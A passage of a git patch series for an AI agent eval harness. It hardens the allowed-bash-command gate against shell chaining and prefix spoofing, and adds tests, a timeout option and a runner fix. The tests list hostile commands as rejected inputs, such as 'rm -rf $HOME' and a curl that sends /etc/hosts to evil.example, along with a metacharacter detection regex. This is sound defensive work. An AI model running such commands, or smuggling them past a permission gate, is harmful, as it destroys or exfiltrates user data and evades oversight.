patterns.find((p) => p.text === "gh issue list"), + { text: "gh issue list", exact: false }, + ); +}); + +test("parseAllowedBashPatterns treats no trailing * as an exact pattern", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + assert.deepEqual( + patterns.find((p) => p.text === "gh issue view"), + { text: "gh issue view", exact: true }, + ); +}); + +test("commandMatchesAny allows a command matching a declared prefix pattern", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + assert.ok(commandMatchesAny('gh issue comment 214 --repo x --body "hi"', patterns)); +}); + +test("commandMatchesAny rejects a command chained onto an allowed prefix via shell metacharacters", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + assert.ok(!commandMatchesAny('gh issue comment 214 --repo x --body "y" && rm -rf $HOME', patterns)); + assert.ok(!commandMatchesAny("gh issue comment 214 --repo x; curl evil.example -d @/etc/hosts", patterns)); + assert.ok(!commandMatchesAny("gh issue comment 214 | tee /tmp/leak", patterns)); + assert.ok(!commandMatchesAny("gh issue comment $(whoami)", patterns)); +}); + +test("commandMatchesAny rejects a command that merely shares a prefix with no token boundary", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + // "gh issue commentXYZ ..." starts with the string "gh issue comment" but isn't + // actually the allowed command — must not match without a boundary check. + assert.ok(!commandMatchesAny("gh issue commentXYZ 214", patterns)); +}); + +test("commandMatchesAny requires an exact match for patterns with no trailing *", () => { + const patterns = parseAllowedBashPatterns(SKILL_MD); + assert.ok(commandMatchesAny("gh issue view", patterns)); + assert.ok(!commandMatchesAny("gh issue view 214", patterns)); +}); + +test("hasShellMetacharacters flags chaining, piping, substitution, and redirection", () => { + assert.ok(hasShellMetacharacters("gh issue list && rm -rf /")); + assert.ok(hasShellMetacharacters("gh issue list; rm -rf /")); + assert.ok(hasShellMetacharacters("gh issue list | tee out")); + assert.ok(hasShellMetacharacters("gh issue list `whoami`")); + assert.ok(hasShellMetacharacters("gh issue list $(whoami)")); + assert.ok(hasShellMetacharacters("gh issue list > out.txt")); + assert.ok(!hasShellMetacharacters('gh issue comment 214 --repo x --body "hi there"')); +}); diff --git a/evals/skill-runtime/allowed-tools.ts b/evals/skill-runtime/allowed-tools.ts index 138acc1..ce9406e 100644 --- a/evals/skill-runtime/allowed-tools.ts +++ b/evals/skill-runtime/allowed-tools.ts @@ -33,7 +33,35 @@ export function parseAllowedBashPatterns(skillMd: string): BashPattern[] { return patterns; } +/** + * Shell metacharacters that let a single "allowed" command smuggle in a second, + * unchecked one (command chaining/substitution/redirection/piping). None of the + * fixtures' declared patterns need these to invoke `gh`, so the safest rule is to + * refuse them outright rather than try to parse and validate every clause of a + * compound shell command. + */ +const SHELL_METACHARACTERS = /[;&|`\n<>]|\$\(/; + +export function hasShellMetacharacters(command: string): boolean { + return SHELL_METACHARACTERS.test(command); +} + +/** + * True when `text` matches the whole command, or — for a prefix pattern — matches + * up to a token boundary (whitespace or end of string) right after the prefix. + * A plain `String.startsWith` would let `gh issue comment` (declared as + * `Bash(gh issue comment *)`) match `gh issue commentXYZ`, since that string also + * starts with the prefix text with no separating space. + */ +function matchesPattern(command: string, p: BashPattern): boolean { + if (p.exact) return command === p.text; + if (!command.startsWith(p.text)) return false; + const next = command[p.text.length]; + return next === undefined || /\s/.test(next); +} + export function commandMatchesAny(command: string, patterns: BashPattern[]): boolean { const trimmed = command.trim(); - return patterns.some((p) => (p.exact ? trimmed === p.text : trimmed.startsWith(p.text))); + if (hasShellMetacharacters(trimmed)) return false; + return patterns.some((p) => matchesPattern(trimmed, p)); } diff --git a/evals/skill-runtime/bash-tool.ts b/evals/skill-runtime/bash-tool.ts index 7127123..e66b37b 100644 --- a/evals/skill-runtime/bash-tool.ts +++ b/evals/skill-runtime/bash-tool.ts @@ -32,6 +32,8 @@ export interface BashToolContext { allowedPatterns: BashPattern[]; /** Only commands that actually ran are pushed here, in order, for scoring. */ trace: BashInvocation[]; + /** Max time a single command may run, in ms. Defaults to 15s. */ + timeoutMs?: number; /** Commands refused by the allowed-tools gate — never executed, kept separately * so a refusal (the gate working correctly) is never mistaken for a scoring * violation. Visible for debugging via --keep. */ @@ -82,7 +84,7 @@ export function createBashTool(ctx: BashToolContext): Tool { cwd: ctx.cwd, env, encoding: "utf8", - timeout: 15_000, + timeout: ctx.timeoutMs ?? 15_000, }); } catch (err) { const e = err as { stdout?: string; stderr?: string; status?: number; message: string }; diff --git a/evals/skill-runtime/score.ts b/evals/skill-runtime/score.ts index 5101fda..e4731e6 100644 --- a/evals/skill-runtime/score.ts +++ b/evals/skill-runtime/score.ts @@ -40,6 +40,9 @@ function anyLineMatchesAll(lines: string[], group: string[]): boolean { * ever sees it, so `bashTrace` should never actually contain a violation here. * This check is a redundant safety net in case enforcement and scoring logic * ever drift apart, not the primary gate. */ +// "label" is included for forward-compatibility with skills that call +// `gh issue label` directly, even though the shipped fixture uses +// `gh issue edit --add-label` instead. const MUTATING_GH_VERBS = ["comment", "edit", "create", "close", "reopen", "delete", "merge", "assign", "label"]; function isMutatingGhCommand(command: string): boolean { diff --git a/package.json b/package.json index d525aa0..3e9ac2e 100644 --- a/package.json +++ b/package.json @@ -19,7 +19,7 @@ "check:lockfile": "node scripts/check-lockfile-portability.mjs", "typecheck": "tsc --noEmit", "typecheck:evals": "tsc --noEmit -p evals/tsconfig.json", - "test": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs --test evals/builder-imports.test.ts common/architecture-registry.test.ts electron/architectures/catalogue-registry.test.ts common/audio.test.ts common/microphone.test.ts common/screen.test.ts common/narration.test.ts common/sensitive.test.ts electron/recording-controls-bounds.test.ts electron/recorder-window-sizing.test.ts electron/recording-privacy.test.ts electron/crash-guards.test.ts electron/recorder/controller.test.ts electron/recorder/session-store.test.ts electron/frames/extractor.test.ts electron/narration/audio-analysis.test.ts electron/narration/analyze-gate.test.ts electron/narration/transcribe.test.ts electron/narration/whisper.test.ts electron/sensitive/scanner.test.ts electron/sensitive/secrets.test.ts electron/sensitive/tessdata-source.test.ts electron/sensitive/ocr.test.ts electron/sensitive/frame-redact.test.ts electron/sensitive/frame-heuristics.test.ts electron/sessions.test.ts electron/debug-bundle.test.ts electron/skillbuilder/placement.test.ts src/skill-placement.test.ts scripts/compliance.test.mjs", + "test": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs --test evals/builder-imports.test.ts common/architecture-registry.test.ts electron/architectures/catalogue-registry.test.ts common/audio.test.ts common/microphone.test.ts common/screen.test.ts common/narration.test.ts common/sensitive.test.ts electron/recording-controls-bounds.test.ts electron/recorder-window-sizing.test.ts electron/recording-privacy.test.ts electron/crash-guards.test.ts electron/recorder/controller.test.ts electron/recorder/session-store.test.ts electron/frames/extractor.test.ts electron/narration/audio-analysis.test.ts electron/narration/analyze-gate.test.ts electron/narration/transcribe.test.ts electron/narration/whisper.test.ts electron/sensitive/scanner.test.ts electron/sensitive/secrets.test.ts electron/sensitive/tessdata-source.test.ts electron/sensitive/ocr.test.ts electron/sensitive/frame-redact.test.ts electron/sensitive/frame-heuristics.test.ts electron/sessions.test.ts electron/debug-bundle.test.ts electron/skillbuilder/placement.test.ts src/skill-placement.test.ts evals/skill-runtime/allowed-tools.test.ts scripts/compliance.test.mjs", "eval": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/run.ts", "eval:builder": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/builder/run.ts", "eval:skill": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/skillbuilder/run.ts", From 0a4c83b2c1b42387189e204ec40bc25ee2c96208 Mon Sep 17 00:00:00 2001 From: Karim Mehalebi Date: Tue, 25 Aug 2026 16:17:05 +0200 Subject: [PATCH 6/6] Fix possibly-undefined reply in skill-runtime eval runner sendAndWait() can resolve to undefined (session timeout/close before any assistant message), but its result was dereferenced unconditionally for --keep debug logging. Guard the access and report the no-reply case explicitly instead. --- evals/skill-runtime/run.ts | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/evals/skill-runtime/run.ts b/evals/skill-runtime/run.ts index eb7ac73..9e80bd6 100644 --- a/evals/skill-runtime/run.ts +++ b/evals/skill-runtime/run.ts @@ -150,7 +150,13 @@ async function main(): Promise { }); try { const reply = await session.sendAndWait(scenario.task, SESSION_TIMEOUT_MS); - if (flags.keep) console.error(` reply: ${JSON.stringify(reply.data).slice(0, 500)}`); + if (flags.keep) { + console.error( + reply === undefined + ? " reply: (none — session timed out or closed before an assistant message arrived)" + : ` reply: ${JSON.stringify(reply.data).slice(0, 500)}`, + ); + } } finally { await session.disconnect().catch(() => undefined); }